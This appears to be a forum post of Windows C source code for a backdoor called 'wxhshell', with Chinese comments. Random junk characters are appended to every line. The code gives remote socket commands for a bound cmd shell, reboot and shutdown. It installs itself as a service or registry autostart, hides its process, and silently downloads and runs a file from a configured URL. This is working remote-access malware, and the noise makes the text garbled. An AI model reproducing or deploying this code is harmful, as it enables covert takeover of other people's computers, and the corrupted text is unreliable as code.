      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `qiQ$kz  
    break; <\@ 1Zz@ms  
  } }B q^3?,#{  
  // 安装 47UO*oLS  
  case 'i': { T&xt` |  
    if(Install()) MJ\[Dt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?_q+&)4-o  
    else :gI.l1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <L2emL_'  
    break; -2i\G.,J  
    } V5"HwN+`  
  // 卸载 dqe7sZl!  
  case 'r': { X=~V6m  
    if(Uninstall()) 4;KWG}~[o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8]< f$3.  
    else 0{) $SY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8)xt(~qF  
    break; ~rv})4h  
    } $/_ qE  
  // 显示 wxhshell 所在路径 0a2@b"l  
  case 'p': { cDV ^8 R  
    char svExeFile[MAX_PATH]; $h28(K%  
    strcpy(svExeFile,"\n\r"); "0&N}  
      strcat(svExeFile,ExeFile); G'x .NL  
        send(wsh,svExeFile,strlen(svExeFile),0); UG2w 1xqHw  
    break; lBA+zZ  
    } 9z ?7{2C  
  // 重启 K:5eek  
  case 'b': { u&]vd /  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N[U9d}Zv  
    if(Boot(REBOOT)) >dQK.CG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M>l^%`  
    else { R,Oe$J<  
    closesocket(wsh); {6 .o=EyM{  
    ExitThread(0); \cuS>G  
    } x<B'.3y  
    break; ~}%~oT  
    } ?m;;D'1j  
  // 关机 RuAlB*  
  case 'd': { Kt/)pc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AQ{zx1^2>K  
    if(Boot(SHUTDOWN)) V#83!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +F@_Es<6  
    else { \#dl6:"  
    closesocket(wsh); Q M 1F?F  
    ExitThread(0); F#V q#|_)>  
    } p-$Cs _{Z  
    break; \ijMw  
    } GAEO$e:  
  // 获取shell K7`YJp`i  
  case 's': { P $ >`  
    CmdShell(wsh); ?tYpc_p#  
    closesocket(wsh); UAYd?r  
    ExitThread(0); rwqv V ^  
    break; /8gL.i$  
  } "x*-PFT  
  // 退出 ,&]MOe4@>  
  case 'x': { '2^ Yw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w+AuMc  
    CloseIt(wsh); dpzw.Z  
    break; ;IZ?19Q  
    } g]$ 4~"|.  
  // 离开 < {ru|-9  
  case 'q': { k#)Ad*t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t})$lM  
    closesocket(wsh); 7_\Mwy{P  
    WSACleanup(); g+[kde;(^  
    exit(1); kv?|'DN  
    break; -{g~TUz  
        } <GIwRVCU  
  } raB+,Oi$G  
  } 0[a}n6X Tk  
P-Su5F  
  // 提示信息 [CN$ScK,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n9hm790x-  
} KCR N}`^  
  } ' UMFS  
]~c+'E`  
  return; Ruaur]  
} RR|\- 8;  
\54}T 4R  
// shell模块句柄 YD[H  
int CmdShell(SOCKET sock) pSAR/':eg  
{ HW_& !ye  
STARTUPINFO si; R>)MiHcCg  
ZeroMemory(&si,sizeof(si)); 3 <SqoJSp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R p.W,)i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eaZQ2  
PROCESS_INFORMATION ProcessInfo; 7 'w0  
char cmdline[]="cmd"; Q/^A #l[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s ic$uT  
  return 0; N:BL=} V  
} Dpqt;8"2L  
2(#Ks's?  
// 自身启动模式 Dy9\O77>  
int StartFromService(void) <8o(CA\  
{ :nGMtF  
typedef struct \e:d)^cbh  
{ ;j} yB  
  DWORD ExitStatus; a/:XXy |  
  DWORD PebBaseAddress; ;e s^R?z  
  DWORD AffinityMask; WS0JS'  
  DWORD BasePriority; grcbH  
  ULONG UniqueProcessId; \cySWP[  
  ULONG InheritedFromUniqueProcessId; 'fW#7W  
}   PROCESS_BASIC_INFORMATION; Ka-p& Uv1<  
`~F5 wh~  
PROCNTQSIP NtQueryInformationProcess; lF4u{B9DM  
 i g71/'D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X>l*v\F9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G*n2Ii  
j$@tK0P  
  HANDLE             hProcess; `rFAZcEj%  
  PROCESS_BASIC_INFORMATION pbi; mP}#Ccji?  
Np,2j KF(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =,/D/v$m'2  
  if(NULL == hInst ) return 0; #$1$T  
4E3g,%9u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9`Q@'( m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IB$7`7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jj&s} _75  
-G`.y?  
  if (!NtQueryInformationProcess) return 0; Dz&+PES_k  
ST',4 Oph5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $& {IKP)u  
  if(!hProcess) return 0; 80hme+e  
tL(BpL'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T1 MY X  
3#GqmhqKDk  
  CloseHandle(hProcess); \U@3`  
}DIF%}UK\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =_d%=m  
if(hProcess==NULL) return 0; ]H[8Z|i""  
aW;aA'!  
HMODULE hMod; !{%G0(Dv  
char procName[255]; 665[  
unsigned long cbNeeded; Q< *8<Oo4g  
?p^2Z6J'$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YD_]!HK}  
AFm1t2,+;  
  CloseHandle(hProcess); Y 62r  
uHM@h{r  
if(strstr(procName,"services")) return 1; // 以服务启动 >L>+2z  
D3]BTkMMS;  
  return 0; // 注册表启动 &O1v,$}'  
} AtHS@p  
uofLhy!  
// 主模块 f(Hu {c5yV  
int StartWxhshell(LPSTR lpCmdLine) +=fKT,-*G!  
{ i/qTFQst _  
  SOCKET wsl; l5O=VqCj  
BOOL val=TRUE; o /p-!  
  int port=0; F[E? A95W  
  struct sockaddr_in door; %$mjJw<|&  
kBsXfVs9  
  if(wscfg.ws_autoins) Install(); nX5C< Ky  
v5$s#f<   
port=atoi(lpCmdLine); x>3@R0A 1:  
Yp5L+~J[  
if(port<=0) port=wscfg.ws_port; =3'(A14C=  
kX;$}7n  
  WSADATA data; ])T/sO#'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C1B'#F9EO  
T9jw X:n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TQ'E5^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S@}4-\  
  door.sin_family = AF_INET; dHII.=lT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G[yI*/E;  
  door.sin_port = htons(port); Spj9H?m  
kQIw/@WC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IN!02`H  
closesocket(wsl); OyVm(%Z   
return 1; b X,Siz:F  
} l)|lTOjb  
>&K!VQ{g  
  if(listen(wsl,2) == INVALID_SOCKET) { 5h^[^*A?  
closesocket(wsl); ti_u!kNv  
return 1; bkv/I{C>?  
} \ TL82H@D  
  Wxhshell(wsl); ?q$P>guH6-  
  WSACleanup(); '2v f|CX  
!v>ew9  
return 0; dgc&[  
T33|';k  
} u''BP.Y S  
==9ZFdf  
// 以NT服务方式启动 !,bPe5?Ql  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &]NZvqdj.]  
{ 36A;!1  
DWORD   status = 0; EXbTCT}`x  
  DWORD   specificError = 0xfffffff; 5~}!@yzc  
=vEkMJ Os  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zu#<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ay$>(;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u0]q`u/ T  
  serviceStatus.dwWin32ExitCode     = 0; 04JT@s"o  
  serviceStatus.dwServiceSpecificExitCode = 0; zSgjp\  
  serviceStatus.dwCheckPoint       = 0; LDQ e^  
  serviceStatus.dwWaitHint       = 0; \Jpw1,6  
fusPMf *[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GX38~pq  
  if (hServiceStatusHandle==0) return; 08r[K(bfb,  
K51fC4'{  
status = GetLastError(); RVF F6N^  
  if (status!=NO_ERROR) R^tcr)(  
{ fVUKvZ}P*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L@A9{,9Pl  
    serviceStatus.dwCheckPoint       = 0; v5 Y)al@  
    serviceStatus.dwWaitHint       = 0; Xb<)LHA~3  
    serviceStatus.dwWin32ExitCode     = status; gWu"91Y0>  
    serviceStatus.dwServiceSpecificExitCode = specificError; *l!5QG UoK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !5.v'K'  
    return; ;=p;v .l  
  } WZ* &@|w  
<}2A=~ _  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5$^c@ 0  
  serviceStatus.dwCheckPoint       = 0; ^H!Lp[5c  
  serviceStatus.dwWaitHint       = 0; i+ic23$4M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AM/lbMr  
} l<N?'&  
 -$R5  
// 处理NT服务事件,比如:启动、停止 SLh~_ 5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e "_"vbk  
{ 9 z*(8d  
switch(fdwControl) zJ_My&~  
{ =t.F2'<[Z  
case SERVICE_CONTROL_STOP: `7_n}8NVC  
  serviceStatus.dwWin32ExitCode = 0; sT1j F3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p JX, n  
  serviceStatus.dwCheckPoint   = 0; v=MzI#0L  
  serviceStatus.dwWaitHint     = 0; i tW~d  
  { HA\A$>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?h&l tD  
  } % :tr  
  return; 2Q 3/-R  
case SERVICE_CONTROL_PAUSE: OR~GOv|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (WMLNv  
  break; g& >m P?  
case SERVICE_CONTROL_CONTINUE: Eq7gcDQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G>j "cj  
  break; +V89J!7  
case SERVICE_CONTROL_INTERROGATE: S41)l!+2  
  break; f#c BQ~  
}; =U_ @zDD@V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B>aEH b  
} i ~P91  
nOr"K;C  
// 标准应用程序主函数 d#Wn[h$"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :|fl?{E  
{ l~{T#Q  
qL~Pjr>cF  
// 获取操作系统版本 /0!$p[cjm  
OsIsNt=GetOsVer(); v/(__xN`B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TP^\e_k  
lmp R>@o"  
  // 从命令行安装 =ZrjK=K  
  if(strpbrk(lpCmdLine,"iI")) Install(); G`WzJS*}v  
`7$Oh{67  
  // 下载执行文件 ,gx$U@0Z  
if(wscfg.ws_downexe) { uTUa4 ^]*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]Y$&78u8t  
  WinExec(wscfg.ws_filenam,SW_HIDE); o"f%\N0_8  
} C7T;;1P?  
$1=v.'Y  
if(!OsIsNt) { 5?)}F/x  
// 如果时win9x,隐藏进程并且设置为注册表启动 -KA4Inn]5  
HideProc(); +@^47Xu^  
StartWxhshell(lpCmdLine); 14;Av{Xt  
} '9Qd.q7s|b  
else E.Pje@d  
  if(StartFromService()) $q.p$JQ:  
  // 以服务方式启动 Q.uR<C6)v  
  StartServiceCtrlDispatcher(DispatchTable); #Z#_!o  
else ?({PcF/  
  // 普通方式启动 B1HQz@^  
  StartWxhshell(lpCmdLine); ),)Q{~&`  
[)bz6\d[  
return 0; 8Q)y%7 {6  
}
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只看该作者 1 发表于: 2006-10-10
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